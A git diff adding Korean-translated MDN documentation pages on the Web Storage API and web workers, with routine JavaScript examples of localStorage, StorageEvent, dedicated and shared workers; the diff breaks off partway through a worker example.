Web Storage API는 {{domxref("Window")}} 객체를 확장합니다. {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 추가해 현재 도메인의 세션과 로컬 {{domxref("Storage")}} 객체의 접근을 가능케 하고, 새로운 항목을 추가하는 등 저장 공간이 변경될 때 발생하는 {{domxref("Window.onstorage")}} 이벤트 처리기도 추가합니다.
+
{{domxref("StorageEvent")}}
+
storage 이벤트는 저장 공간이 변경될 때 Window 객체에서 발생합니다.
+
+ +

예제

+ +

일반적인 Web Storage 사용법을 설명하기 위한 데모를 만들었습니다. 창의적이게도 Web Storage Demo라는 이름으로, 랜딩 페이지에서 색, 글꼴, 이미지를 바꿀 수 있습니다. 선택지를 바꾸면 페이지가 실시간으로 변함과 동시에 localStorage에도 현재 상태를 저장하게 되므로, 페이지를 떠났다가 다시 방문해도 선택지가 그대로 보존됩니다.

+ +

추가로 이벤트 출력 페이지도 제공 중입니다. 이 페이지를 다른 탭에 열고 랜딩 페이지에서 선택지를 바꾸면 {{domxref("StorageEvent")}}를 통해 업데이트된 저장 정보를 출력하는 것을 볼 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ +

Window.localStorage

+ +
+ + +

{{Compat("api.Window.localStorage")}}

+ +

Window.sessionStorage

+ +
+ + +

{{Compat("api.Window.sessionStorage")}}

+
+
+ +

사생활 보호 / 시크릿 모드

+ +

대부분의 최신 브라우저는 탐색 기록과 쿠키를 남기지 않는 "사생활 보호 모드", "시크릿 모드", 또는 비슷한 이름의 기능을 가지고 있습니다. 그리고 정말 분명한 이유로 인해 Web Storage와 호환되지 않습니다. 브라우저 공급자들은 다양한 시나리오에서 이를 해결하기 위해 실험을 진행하고 있습니다.

+ +

대부분의 브라우저는 Web Storage API에 접근 가능하며 기능하는 것 처럼 보이지만, 큰 차이점으로서, 브라우저를 닫으면 저장한 데이터를 제거하는 전략을 택하고 있습니다. 이런 브라우저 사이에서도, 일반 브라우징 세션에서 저장한 기존 데이터의 처리법에 대해서는 이견이 존재합니다. 사생활 보호 모드에서도 저 데이터에 접근할 수 있어야 할까요? 그런 반면, 마찬가지로 Web Storage API는 존재하지만 최대 용량을 0바이트 할당하여 어떠한 데이터도 입력할 수 없도록 하는 일부 브라우저도 존재하며, 대표적으로 Safari가 있습니다.

+ +

Web Storage API에 의존하는 웹 사이트를 개발할 때, 개발자는 이러한 구현 차이에 대해 고려해야 합니다. 더 많은 정보는 이 주제를 다루는 WHATWG 블로그 글을 참고하세요.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html new file mode 100644 index 0000000000..25ad6cfa5f --- /dev/null +++ b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -0,0 +1,218 @@ +--- +title: Web Storage API 사용하기 +slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API +translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API +--- +
{{DefaultAPISidebar("Web Storage API")}}
+ +

Web Storage API는 브라우저에서 쿠키를 사용하는 것보다 훨씬 직관적으로 key/value 데이터를 안전하게 저장할 수 있는 메커니즘을 제공합니다.

+ +

이 글은 본 기술을 어떻게 사용하는지 설명합니다.

+ +

기본 컨셉

+ +

Storage 객체는 단순한 key-value 저장소이며, 이는 객체와 비슷합니다. 하지만 이 데이터들은 페이지 로딩에도 온전하게 유지됩니다. key와 그 value는 항상 문자열입니다. (만약 정수로 키를 사용할 경우 이는 자동으로 string으로 변경됩니다, 자바스크립트 객체의 동작방식을 생각해보세요) 객체를 사용하듯이 쉽게 값에 접근할 수 있으며, 이 때 {{domxref("Storage.getItem()")}}과 {{domxref("Storage.setItem()")}} 메서드를 사용할 수 있습니다. 아래 세 줄은 (동일한) colorSetting 엔트리에 값을 설정하는 방법입니다.

+ +
localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+
+ +
+

노트: 일반 객체를 key-value 저장소로 사용할 때 pitfalls과 관련된 사항을 막기 위해 Web Storage API(setItem, getItemremoveItemkeylength)를 사용하는 걸 권장합니다.

+
+ +

Web Storage는 두 메커니즘을 가지고 있습니다.

+ + + +

이 메커니즘들은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성(좀 더 정확히 말하자면, 지원하는 브라우저에서 Window 객체는 localStorage 및 sessionStorage 속성 사용이 중단되는 WindowLocalStorageWindowSessionStorage로 구현됩니다)으로 사용 가능합니다. 이 중 하나를 호출하면 데이터를 설정, 검색 및 제거할 수 있는 {{domxref("Storage")}} 객체의 인스턴스가 생성됩니다. 각 Storage 객체는 각 origin 별 sessionStorage 나 localStorage로 사용됩니다. 동작도 제각기 동작합니다.

+ +

예를 들면, 문서에서 localStorage를 호출하면 {{domxref("Storage")}} 객체를 반환합니다. 문서에서 sessionStorage를 호출하면 다른 {{domxref("Storage")}} 객체를 반환합니다. 둘 다 같은 방법으로 조작할 수 있지만, 서로 다릅니다.

+ +

localStorage 기능 지원 감지

+ +

localStorage를 사용하려면 먼저 현재 브라우징 세션에서 지원되고 사용 가능한지 확인해야합니다.

+ +

사용 가능 검사

+ +

localStorage를 지원하는 브라우저는 windows 객체에  localStorage라는 property가 존재 합니다. 그러나 여러 가지 이유로 인해 예외가 발생할 수 있습니다. 존재한다 해도 다양한 브라우저가 localStorage를 비활성화하는 설정을 제공하기 때문에 localStorage가 실제로 사용 가능하다는 보장은 없습니다. 따라서 브라우저가 localStorage를 지원한다고 해도 스크립트에서 사용 하지 못 할 수도 있습니다.  예를 들어 사파리 브라우저의 사생활 보호 모드에서 할당량이 0 인 빈 localStorage 개체를 제공하므로 효과적으로 사용할 수 없게 만듭니다. 이때 QuotaExceededError를 얻을 수도 있습니다.  이는 사용가능한 저장공간을 모두 소모 했다는 의미로, localStorage를 사용할 수 없음을 뜻합니다.  이러한 시나리오를 고려하여 사용가능 여부를 검사하여야 합니다.

+ +

다음은 localStorage가 지원되고 사용 가능한지 여부를 감지하는 함수입니다.

+ +
function storageAvailable(type) {
+    var storage;
+    try {
+        storage = window[type];
+        var x = '__storage_test__';
+        storage.setItem(x, x);
+        storage.removeItem(x);
+        return true;
+    }
+    catch(e) {
+        return e instanceof DOMException && (
+            // Firefox를 제외한 모든 브라우저
+            e.code === 22 ||
+            // Firefox
+            e.code === 1014 ||
+            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
+            // Firefox를 제외한 모든 브라우저
+            e.name === 'QuotaExceededError' ||
+            // Firefox
+            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
+            // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
+            (storage && storage.length !== 0);
+    }
+}
+ +

위 함수를 다음과 같이 사용할 수 있습니다.

+ +
if (storageAvailable('localStorage')) {
+	// 야호! 우리는 localStorage를 사용할 수 있습니다.
+}
+else {
+	// 슬픈 소식, localStorage를 사용할 수 없습니다.
+}
+ +

storageAvailable('sessionStorage')를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있습니다.

+ +

여기서 로컬 스토리지 기능이 존재하는지 확인하는 방법에 대한 기록을 볼 수 있습니다.

+ +

예제

+ +

To illustrate some typical web storage usage, we have created a simple example, imaginatively called Web Storage Demo. The landing page provides controls that can be used to customize the color, font, and decorative image:

+ +

다른 색상을 선택하면, 페이지에 바로 적용됩니다. 또한 선택한 값을 localStorage에 저장했다면, 페이지를 나갔다가 나중에 다시 들어왔을 떄 이전에 저장한 값을 기억하고 있습니다.

+ +

We have also provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a {{domxref("StorageEvent")}} is fired.

+ +

+ +
+

Note: As well as viewing the example pages live using the above links, you can also check out the source code.

+
+ +

Testing whether your storage has been populated

+ +

To start with on main.js, we will test whether the storage object has already been populated (i.e., the page was previously accessed):

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+ +

The {{domxref("Storage.getItem()")}} method is used to get a data item from storage; in this case, we are testing to see whether the bgcolor item exists; if not, we run populateStorage() to add the existing customization values to the storage. If there are already values there, we run setStyles() to update the page styling with the stored values.

+ +

Note: You could also use {{domxref("Storage.length")}} to test whether the storage object is empty or not.

+ +

Getting values from storage

+ +

As noted above, values can be retrieved from storage using {{domxref("Storage.getItem()")}}. This takes the key of the data item as an argument, and returns the data value. For example:

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +

Here, the first three lines grab the values from local storage. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.

+ +

Setting values in storage

+ +

{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+ +

The populateStorage() function sets three items in local storage — the background color, font, and image path. It then runs the setStyles() function to update the page styles, etc.

+ +

We've also included an onchange handler on each form element so that the data and styling are updated whenever a form value is changed:

+ +
bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;
+ +

Responding to storage changes with the StorageEvent

+ +

The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object (note that this event is not fired for sessionStorage changes). This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.

+ +

On the events page (see events.js) the only JavaScript is as follows:

+ +
window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = JSON.stringify(e.storageArea);
+});
+ +

Here we add an event listener to the window object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).

+ +

데이터 제거하기

+ +

웹 스토리지에서는 데이터를 삭제하기 위한 두 가지 간단한 메소드를 제공합니다. 데모에서 사용하지는 않았지만, 간단하게 프로젝트에 추가할 수 있습니다:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ +

Window.localStorage

+ +
+ + +

{{Compat("api.Window.localStorage")}}

+ +

Window.sessionStorage

+ +
+ + +

{{Compat("api.Window.sessionStorage")}}

+
+
+ +

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

+ +

See also

+ + diff --git a/files/ko/web/api/web_workers_api/basic_usage/index.html b/files/ko/web/api/web_workers_api/basic_usage/index.html new file mode 100644 index 0000000000..eb0e309e8e --- /dev/null +++ b/files/ko/web/api/web_workers_api/basic_usage/index.html @@ -0,0 +1,908 @@ +--- +title: 웹 워커 사용하기 +slug: Web/API/Web_Workers_API/basic_usage +translation_of: Web/API/Web_Workers_API/Using_web_workers +--- +
+

웹 워커는 웹 컨텐츠를 위해서 백그라운드 스레드에서 스크립트를 실행할 간편한 방법을 제공합니다. 워커 스레드는 사용자 인터페이스(UI)를 방해하지 않고 작업을 수행할 수 있습니다. 또한 워커는 ( responseXML 과 channel속성이 언제나 null이지만) XMLHttpRequest 를 사용하여 I/O작업을 수행할 수도 있습니다. 워커는 생성이 된 후에 생성자가 명시한 이벤트 핸들러로 메세지를 올려서 자신의 하위 작업(spawning task)에 메세지를 전달할 수 도 있습니다. 본 글에서 전용 워커와 공유 워커에 대하여 소개합니다.

+
+ +

Web Workers API

+ +

Worker는 생성자(예를 들면 {{domxref("Worker.Worker", "Worker()")}})를 사용하여 생성된 객체이며 이름있는 자바스크립트 파일(이 파일은 Worker 스레드에서 실행하는 코드를 가집니다)을 실행합니다. 또한 Worker는 현재의 {{domxref("window")}}와는 다른 글로벌 컨텍스트에서 실행됩니다. 따라서 {{domxref("Worker")}} 내에서 현재의 글로벌 스코프를 접근하기 위해 ({{domxref("window.self","self")}} 대신에) {{domxref("window")}}를 사용해도 오류가 돌아옵니다.

+ +

Worker의 콘텍스트는 Dedicated Workers(한 개의 스크립트가 이용하는 표준적인 Workers)일 경우{{domxref("DedicatedWorkerGlobalScope")}} 객체로 제공됩니다. (Shared Workers의 경우는 {{domxref("SharedWorkerGlobalScope")}}). Dedicated Worker 는 Worker 를 처음에 생성한 스크립트만 액세스 할 수 있습니다. 반면에 Shared Worker는, 복수의 스크립트에서 액세스 할 수 있습니다.

+ +
+

메모: Worker 의 레퍼런스 문서나 추가적인 가이드에 대해서는 The Web Workers API landing page를 봐 주세요.

+
+ +

Worker Thread에서는 몇 가지 제한 하에서 어떤 코드라도 실행할 수 있습니다. 예를 들어, Worker내에서는 직접 DOM 를 조작할 수 없습니다. 그리고 {{domxref("window")}} 객체의 기본 메서드나 속성에서 사용할 수 없는 것들이 있습니다. 그럼에도 WebSockets과 IndexedDB, Data Store API(Firefox OS 한정)와 같은 데이터 스토리지 메커니즘 등, window에 있는 다수의 아이템을 사용할 수 있습니다.자세한 것은 Functions and classes available to workers를 봐 주세요.

+ +

Worker와 메인 스레드 사이에서는 메시지 시스템을 통해 데이터를 발송합니다. 양쪽 모두 postMessage() 메서드를 사용하여 메시지를 발송하고, onmessage이벤트 핸들러에 의해 메시지에 응답합니다(메시지는 {{event("Message")}}이벤트의 data 속성에 들어갑니다). 데이터는 공유되지 않고 복사됩니다.

+ +

Worker 는 새로운 Worker 를 작성할 수 있습니다만, 생성된 Worker는 같은 부모 페이지일 경우에 한합니다. 추가적으로 Worker는 네트워크 I/O를 위한 XMLHttpRequest를 사용할 수 있으나,  responseXML의 exception과 channel속성의 XMLHttpRequest는 항상 null을 반환합니다.

+ +

Dedicated workers

+ +

As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.

+ +

This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.

+ +

Worker feature detection

+ +

For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js):

+ +
if (window.Worker) {
+
+  ...
+
+}
+ +

Spawning a dedicated worker

+ +

Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (main.js):

+ +
var myWorker = new Worker("worker.js");
+ +

Sending messages to and from a dedicated worker

+ +

The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (main.js):

+ +
first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

So here we have two {{htmlelement("input")}} elements represented by the variables first and second; when the value of either is changed, myWorker.postMessage([first.value,second.value]) is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.

+ +

In the worker, we can respond when the message is received by writing an event handler block like this (worker.js):

+ +
onmessage = function(e) {
+  console.log('Message received from main script');
+  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+  console.log('Posting message back to main script');
+  postMessage(workerResult);
+}
+ +

The onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute. Here we simply multiply together the two numbers then use postMessage() again, to post the result back to the main thread.

+ +

Back in the main thread, we use onmessage again, to respond to the message sent back from the worker:

+ +
myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

Here we grab the message event data and set it as the textContent of the result paragraph, so the user can see the result of the calculation.

+ +
+

Note: The URI passed as a parameter to the Worker constructor must obey the same-origin policy .

+ +

There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.

+
+ +
+

Note: Notice that onmessage and postMessage() need to be hung off the Worker object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.

+
+ +
+

Note: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.

+
+ +

Terminating a worker

+ +

If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:

+ +
myWorker.terminate();
+ +

The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.

+ +

In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:

+ +
close();
+ +

Handling errors

+ +

When a runtime error occurs in the worker, its onerror event handler is called. It receives an event named error which implements the ErrorEvent interface.

+ +

The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's preventDefault() method.

+ +

The error event has the following three fields that are of interest:

+ +
+
message
+
A human-readable error message.
+
filename
+
The name of the script file in which the error occurred.
+
lineno
+
The line number of the script file on which the error occurred.
+
+ +

Spawning subworkers

+ +

Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.

+ +

Importing scripts and libraries

+ +

Worker threads have access to a global function, importScripts(), which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:

+ +
importScripts();                         /* imports nothing */
+importScripts('foo.js');                 /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');       /* imports two scripts */
+importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
+ +

The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, NETWORK_ERROR is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations after the importScripts()method are also kept, since these are always evaluated before the rest of the code.

+ +
+

Note: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed.

+
+ +

Shared workers

+ +

A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required.

+ +

Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.

+ +
+

Note: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).

+
+ +
+

Note: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).

+
+ +

Spawning a shared worker

+ +

Spawning a new worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following:

+ +
var myWorker = new SharedWorker("worker.js");
+ +

One big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).

+ +

The port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start()method before any messages can be posted. Although the multiply.js and worker.js files in the demo currently call the start()method, those calls are not necessary since the onmessage event handler is being used. Calling start() is only needed if the message event is wired up via the addEventListener() method.

+ +

When using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.

+ +
myWorker.port.start();  // called in parent thread
+ +
port.start(); // called in worker thread, assuming the port variable references a port
+ +

Sending messages to and from a shared worker

+ +

Now messages can be sent to the worker as before, but the postMessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js):

+ +
squareNumber.onchange = function() {
+  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
+  console.log('Message posted to worker');
+}
+ +

Now, on to the worker. There is a bit more complexity here as well (worker.js):

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.onmessage = function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  }
+}
+ +

First, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the start() method is explicitly called in the parent thread).

+ +

We use the ports attribute of this event object to grab the port and store it in a variable.

+ +

Next, we add a message handler on the port to do the calculation and return the result to the main thread. Setting up this messagehandler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.start() is not actually needed, as noted above.

+ +

Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js):

+ +
myWorker.port.onmessage = function(e) {
+  result2.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.

+ +

About thread safety

+ +

The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.

+ +

However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.

+ +

Content security policy

+ +

Workers are considered to have their own execution context, distinct from the document that created them. For this reasons they are, in general, not governed by the content security policy of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:

+ +
Content-Security-Policy: script-src 'self'
+ +

Among other things, this will prevent any scripts it includes from using eval(). However, if the script constructs a worker, code running in the worker's context will be allowed to use eval().
+
+ To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which delivered the worker script itself.
+
+ The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker than created it.

+ +

Transferring data to and from workers: further details

+ +

Data passed between the main page and workers is copied, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker do not share the same instance, so the end result is that a duplicate is created on each end. Most browsers implement this feature as structured cloning.

+ +

To illustrate this, let's create for didactical purpose a function named emulateMessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa:

+ +
function emulateMessage (vVal) {
+    return eval("(" + JSON.stringify(vVal) + ")");
+}
+
+// Tests
+
+// test #1
+var example1 = new Number(3);
+console.log(typeof example1); // object
+console.log(typeof emulateMessage(example1)); // number
+
+// test #2
+var example2 = true;
+console.log(typeof example2); // boolean
+console.log(typeof emulateMessage(example2)); // boolean
+
+// test #3
+var example3 = new String("Hello World");
+console.log(typeof example3); // object
+console.log(typeof emulateMessage(example3)); // string
+
+// test #4
+var example4 = {
+    "name": "John Smith",
+    "age": 43
+};
+console.log(typeof example4); // object
+console.log(typeof emulateMessage(example4)); // object
+
+// test #5
+function Animal (sType, nAge) {
+    this.type = sType;
+    this.age = nAge;
+}
+var example5 = new Animal("Cat", 3);
+alert(example5.constructor); // Animal
+alert(emulateMessage(example5).constructor); // Object
+ +

A value that is cloned and not shared is called message. As you will probably know by now, messages can be sent to and from the main thread by using postMessage(), and the message event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.

+ +

example.html: (the main page):

+ +
var myWorker = new Worker("my_task.js");
+
+myWorker.onmessage = function (oEvent) {
+  console.log("Worker said : " + oEvent.data);
+};
+
+myWorker.postMessage("ali");
+ +

my_task.js (the worker):

+ +
postMessage("I\'m working before postMessage(\'ali\').");
+
+onmessage = function (oEvent) {
+  postMessage("Hi " + oEvent.data);
+};
+ +

The structured cloning algorithm can accept JSON and a few things that JSON can't — like circular references.

+ +

Passing data examples

+ +

Example #1: Create a generic "asynchronous eval()"

+ +

The following example shows how to use a worker in order to asynchronously execute any JavaScript code allowed in a worker, through eval() within the worker:

+ +
// Syntax: asyncEval(code[, listener])
+
+var asyncEval = (function () {
+  var aListeners = [], oParser = new Worker("data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D");
+
+  oParser.onmessage = function (oEvent) {
+    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
+    delete aListeners[oEvent.data.id];
+  };
+
+  return function (sCode, fListener) {
+    aListeners.push(fListener || null);
+    oParser.postMessage({
+      "id": aListeners.length - 1,
+      "code": sCode
+    });
+  };
+})();
+ +

The data URL is equivalent to a network request, with the following response:

+ +
onmessage = function (oEvent) {
+  postMessage({
+    "id": oEvent.data.id,
+    "evaluated": eval(oEvent.data.code)
+  });
+}
+ +

Sample usage:

+ +
// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
+ +

Example #2: Advanced passing JSON Data and creating a switching system

+ +

If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.

+ +

First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is gonna keep track of a list of listeners and help us communicate wirh the worker:

+ +
function QueryableWorker(url, defaultListener, onError){
+    var instance = this,
+        worker = new Worker(url),
+        listeners = {};
+
+    this.defaultListener = defaultListener || function(){};
+
+    if (onError) {worker.onerror = onError;}
+
+    this.postMessage = function(message){
+        worker.postMessage(message);
+    }
+
+    this.terminate = function(){
+        worker.terminate();
+    }
+}
+ +

Then we add the methods of adding/removing listeners:

+ +
this.addListeners = function(name, listener){
+    listeners[name] = listener;
+}
+
+this.removeListeners = function(name){
+    delete listeners[name];
+}
+ +

Here we let the worker handle two simple operations for illuatration: getting the difference of two numbers and making an alert after three seconds. In order to acheieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.

+ +
/*
+  This functions takes at least one argument, the method name we want to query.
+  Then we can pass in the arguments that the method needs.
+ */
+this.sendQuery = function(){
+    if (arguments.length < 1){
+         throw new TypeError("QueryableWorker.sendQuery takes at least one argument");
+         return;
+    }
+    worker.postMessage({
+        "queryMethod": arguments[0],
+        "queryArguments": Array.prototype.slice.call(arguments, 1)
+    });
+}
+ +

We finish QueryableWorker with the onmessage method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in listeners.:

+ +
worker.onmessage = function(event){
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty("queryMethodListener") &&
+        event.data.hasOwnProperty("queryMethodArguments")){
+        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
+    } else {
+        this.defaultListener.call(instance, event.data);
+    }
+}
+ +

Now onto the worker.  First we need to have the methods to handle the two simple operations:

+ +
var queryableFunctions = {
+    getDifference: function(a, b){
+        reply("printStuff", a - b);
+    },
+    waitSomeTime: function(){
+        setTimeout(function(){
+            reply("doAlert", 3, "seconds");
+        }, 3000);
+    }
+}
+
+function reply(){
+    if (arguments.length < 1) {
+        throw new TypeError("reply - takes at least one argument");
+        return;
+    }
+    postMessage({
+        queryMethodListener: arguments[0],
+        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
+    });
+}
+
+/* This method is called when main page calls QueryWorker's postMessage method directly*/
+function defaultReply(message){
+    // do something
+}
+ +

And the onmessage method is now trivial:

+ +
onmessage = function(event){
+    if (event.data instanceof Object &&
+        event.data.hasOwnProperty("queryMethod") &&
+        event.data.hasOwnProperty("queryMethodArguments")){
+        queryableFunctions[event.data.queryMethod]
+            .apply(self, event.data.queryMethodArguments);
+    } else {
+        defaultReply(event.data);
+    }
+}
+ +

Here are the full implementation:

+ +

example.html (the main page):

+ +
<!doctype html>
+  <html>
+    <head>
+      <meta charset="UTF-8"  />
+      <title>MDN Example - Queryable worker</title>
+    <script type="text/javascript">
+    /*
+      QueryableWorker instances methods:
+        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+        * terminate(): terminates the Worker
+        * addListener(name, function): adds a listener
+        * removeListener(name): removes a listener
+      QueryableWorker instances properties:
+        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+     */
+    function QueryableWorker(url, defaultListener, onError){
+      var instance = this,
+      worker = new Worker(url),
+      listeners = {};
+
+      this.defaultListener = defaultListener || function(){};
+
+      if (onError) {worker.onerror = onError;}
+
+      this.postMessage = function(message){
+        worker.postMessage(message);
+      }
+
+      this.terminate = function(){
+        worker.terminate();
+      }
+
